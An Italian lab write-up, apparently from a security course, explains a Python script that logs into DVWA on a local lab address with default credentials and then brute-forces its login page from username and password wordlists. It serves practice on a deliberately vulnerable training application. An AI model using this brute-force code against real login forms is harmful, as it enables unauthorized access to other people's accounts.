Utilizziando il Server e-commerce interno per accedere al Bruteforce di DVWA era presente un login da tenere in considerazione durante la scrittura del programma in python.
Abbiamo creato una funzione che ci permettesse di superare il login:

```python
# Funzione per fare il login in DVWA (Damn Vulnerable Web Application)
def login_to_dvwa(url, username, password):
    # Dati di login
    login_data = {
        'username': username,
        'password': password,
        'Login': 'Login'
    }
```

Essendo già a conoscenza sia dell'username che della password non abbiamo avuto la necessità di fare un bruteforce ma siamo potuti accedere tramite le credenziali "admin" e "password" a noi già note. Inserendo la verifica che controlla se il login avviene utilizzando come parametro di verifica il responce location che in questo caso sarà "index.php".

```python
try:
    # Inizia una sessione web
    session = requests.Session()
    # Effettua una richiesta per fare il login (senza permettere reindirizzamenti)
    response = session.post(url, data=login_data, allow_redirects=False)
    # Prende l'indirizzo dalla risposta
    response_location = response.headers['location']

    # Verifica se il login è riuscito
    if response_location == 'index.php':
        # Stampa un messaggio se il login è andato bene
        print(f"Login riuscito come {username} con password: {password}")
        # Restituisce la sessione per usarla in altre richieste autenticate
        return session
    else:
        # Stampa un messaggio se il login non è riuscito
        print(f"Login non riuscito come {username} con password :{password}")

except requests.RequestException as e:
    # Stampa un messaggio se c'è un errore durante il login
    print(f"Errore durante la richiesta di login a {url}: {e}")
```

Una volta effettuato il login alla DVWA ci farà uscire non tenendo traccia della sessione, ergo non riesce ad avvenire i bruteforce, di conseguenza nella sessione di bruteforce aggiungiamo anche la sessione:

```python
# Funzione per fare il brute force login in DVWA
def brute_force_login(url, username, password, session):
    # Dati di login
    login_data = {
        'username': username,
        'password': password,
        'Login': 'Login'
```

Una volta risolta la questione delle “sessioni” abbiamo preparato il ciclo for per effettuare il bruteforce e anche in questo caso prendeva username e password da due file txt distinti.

```
# Chiamata alla funzione di brute force usando la stessa sessione
dvwa_url_brute = "http://192.168.50.101/dvwa/vulnerabilities/brute/"
with open('username.txt', 'r') as user_file:
    for username in user_file:
        username = username.strip()

        with open('password.txt', 'r') as password_file:
            for password in password_file:
                password = password.strip()
                # Esegue il brute force login e termina il programma se il login è riuscito
                risultato = brute_force_login(dvwa_url_brute, username, password, session)
                if risultato == True:
                    exit()
```

Per assicurarci che il bruteforce sia andato a buon fine abbiamo utilizzato un “if” che controlla in questo determinato caso la presenza di una riga che ci comunica che il bruteforce ha svolto la sua funzione.

```
try:
    # Effettua una richiesta usando la stessa sessione
    response = session.get(url, params=login_data)

    # Verifica se la risposta contiene un messaggio di successo
    if "Welcome to the password protected area admin" in response.text:
        # Stampa un messaggio se il login è riuscito
        print("Login riuscito con:", username, " - ", password)
        # Restituisce True per indicare un login riuscito
        return True
    else:
        # Stampa un messaggio se il login non è riuscito
        print("Login non riuscito con:", username, " - ", password)
        # Restituisce False per indicare un login non riuscito
        return False

except RequestException as e:
    # Stampa un messaggio se c'è un errore durante il brute force login
    print(f"Errore durante la richiesta di login a {url}: {e}")
```